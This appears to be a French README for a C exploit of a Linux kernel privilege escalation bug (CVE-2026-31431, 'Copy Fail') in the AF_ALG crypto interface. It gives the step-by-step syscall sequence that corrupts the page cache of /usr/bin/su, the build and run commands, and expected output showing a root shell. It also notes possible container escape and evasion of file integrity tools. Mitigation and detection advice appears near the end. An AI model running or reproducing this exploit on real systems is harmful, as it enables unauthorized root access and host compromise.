
Exploit local d'élévation de privilèges en C pour CVE-2026-31431, une vulnérabilité du noyau Linux dans l'interface crypto AF_ALG, permettant d'obtenir un accès root via la manipulation du cache de pages.
Copy Fail (CVE-2026-31431) est une vulnérabilité logique dans le noyau Linux permettant à un utilisateur local non privilégié d'élever ses privilèges jusqu'au niveau superutilisateur (root). La vulnérabilité appartient à la classe Local Privilege Escalation (LPE), ne nécessite pas de conditions d'exploitation complexes (telles qu'une course critique ou l'alignement d'adresses mémoire) et fonctionne "out of the box" sur la plupart des distributions Linux publiées après 2017.
Ce dépôt contient un portage en langage C de l'exploit Python original avec des commentaires détaillés, adapté à la compilation statique et à l'utilisation dans des environnements minimalistes.
La vulnérabilité provient d'une erreur logique dans le sous-système cryptographique du noyau Linux, liée au traitement de AF_ALG (interface de l'API cryptographique du noyau) et au mécanisme du cache de pages (page cache).
L'erreur a été introduite en 2017 lors de l'ajout d'une optimisation qui a supprimé la mise en mémoire tampon supplémentaire en exécutant les opérations de chiffrement par blocs AEAD (Authenticated Encryption with Associated Data) sur place (in-place). En raison d'un traitement incorrect des limites des tampons dans l'algorithme authencesn (partie du modèle cryptographique AEAD), une écriture de 4 octets au-delà du tampon alloué se produit, ce qui endommage les structures de gestion du cache de pages.
En conséquence, le noyau peut écrire des données en retour dans le cache de pages d'un fichier, même s'il a été ouvert en lecture seule (O_RDONLY).
AF_ALG et initialise l'algorithme AEAD authencesn(hmac(sha256),cbc(aes)).setsockopt(), des paramètres anormaux sont définis :
sendmsg() avec des messages de contrôle, une opération de déchiffrement est initiée.splice() déplace les données du fichier cible (ouvert en O_RDONLY) vers le socket cryptographique.authencesn, le cache de pages du fichier est corrompu et les données "déchiffrées" sont réécrites dans le cache.root.Distributions vulnérables (avec des noyaux chargeant le module algif_aead) :
Importance particulière : dans les environnements conteneurisés (Docker, LXC, Kubernetes), les processus à l'intérieur du conteneur ont accès par défaut au sous-système AF_ALG si le module algif_aead est chargé dans le noyau hôte. Cela crée un risque de rupture de l'isolation du conteneur et d'obtention du contrôle de la machine hôte.
Vérification de la vulnérabilité :
# Vérifier si le module algif_aead est chargé
lsmod | grep algif
# Vérifier la présence de AF_ALG dans le noyau
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
L'exploit original a été écrit en Python (≈732 octets). Ce portage en C présente les caractéristiques suivantes :
libz.strace).recv() non bloquant — évite le blocage, reproduisant le comportement try/except de Python.Principales différences par rapport à la version Python, identifiées lors du portage :
# Nécessite libz (zlib1g-dev ou zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
En cas d'exploitation réussie, une version patchée de /usr/bin/su sera lancée, fournissant un accès root sans demande de mot de passe.
Sortie attendue :
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su ouvert
[+] 40 chunks
[*] 40/40 ok
# id
uid=0(root) gid=0(root) groups=0(root)
Voici une analyse détaillée de chaque étape de l'exploit avec les appels système correspondants :
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
Un socket est créé pour accéder à l'API cryptographique du noyau. L'algorithme authencesn (Authenticated Encryption with Sequence Numbers) est un algorithme AEAD composite utilisant AES-CBC pour le chiffrement et HMAC-SHA256 pour l'authentification.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 zéros), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 zéros), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 zéros)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
Une connexion est créée pour l'opération. Via sendmsg() avec des messages de contrôle (CMSG), les paramètres sont définis :
ALG_OP_DECRYPT = 0).Toutes ces anomalies créent des incohérences dans la gestion de la mémoire du noyau.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() est un appel système permettant de déplacer des données entre des descripteurs de fichiers sans copie via l'espace utilisateur. Les données sont déplacées au niveau du noyau via le mécanisme du pipe.
splice(target_fd -> pipe) : les données du fichier cible (/usr/bin/su) entrent dans le pipe.splice(pipe -> conn_sock) : les données du pipe arrivent dans le socket cryptographique comme "texte chiffré".Point clé : en Python (et dans ce portage), le décalage pour le pipe est transmis comme NULL, ce qui permet au noyau de gérer automatiquement la position.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
L'appel recv() force le noyau à terminer l'opération cryptographique. En mode normal, les données déchiffrées seraient renvoyées ici, mais en raison des paramètres anormaux, une erreur EBADMSG (Python) ou EAGAIN (C avec O_NONBLOCK) est renvoyée. L'erreur est ignorée — la corruption du cache de pages s'est déjà produite à l'étape splice().
Le cache de pages (page cache) est le cache du contenu des fichiers en mémoire vive. Lorsqu'un processus ouvre un fichier via O_RDONLY, le noyau n'autorise que la lecture depuis ce cache. Cependant, la vulnérabilité permet de contourner cette restriction :
write(), mais splice() travaille directement au niveau du cache de pages, contournant ces vérifications.Les modifications se produisent uniquement en mémoire vive, et non sur le disque. Cela rend l'attaque difficile à détecter par les moyens standard de contrôle d'intégrité. Après un redémarrage ou un vidage du cache de pages, les traces de l'attaque disparaissent.
Mettre à jour le noyau Linux vers une version contenant le correctif.
Désactiver le module algif_aead :
# Interdire le chargement du module
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# Décharger le module (s'il est chargé)
sudo rmmod algif_aead
Recommandations supplémentaires :
AF_ALG via des profils seccomp./usr/bin/su est-il modifié sur le disque ?Non. Les modifications se produisent uniquement dans le cache de pages (mémoire vive). Le contenu du fichier sur le disque reste inchangé. Après un redémarrage du système, le cache de pages est vidé et le fichier revient à son état d'origine.
La détection est possible via :
auditd, strace).AF_ALG.Les moyens standard de contrôle d'intégrité (AIDE, Tripwire) ne détecteront pas les modifications, car le fichier sur le disque reste inchangé.
Ce code est fourni exclusivement à des fins éducatives et de recherche. L'auteur décline toute responsabilité quant à toute utilisation de ce code à des fins illégales. L'utilisation de l'exploit sans autorisation explicite du propriétaire du système est illégale et peut entraîner des poursuites pénales.
Utilisez uniquement sur des systèmes qui vous appartiennent, ou sur des systèmes pour lesquels vous disposez d'une autorisation écrite explicite de test de sécurité.
| Composant | Description |
|---|
| Noyau Linux | Toutes les versions depuis 2017 jusqu'à l'inclusion du correctif |
| Sous-système | crypto (module algif_aead) |
| Interface | AF_ALG — accès utilisateur à la crypto-API du noyau |
| Appel système | splice() combiné aux sockets AF_ALG |
| Paramètre | Python | C (ce portage) |
|---|
Drapeau sendmsg() | MSG_MORE | MSG_MORE |
Drapeau splice() | 0 | 0 |
| Décalage dans le pipe | NULL | NULL |
| Taille de la clé | 40 octets | 40 octets |
cmsg_len | 20/36/20 | 20/36/20 (codé en dur) |
| Création du pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Bloquant avec try/except | Non bloquant (O_NONBLOCK) |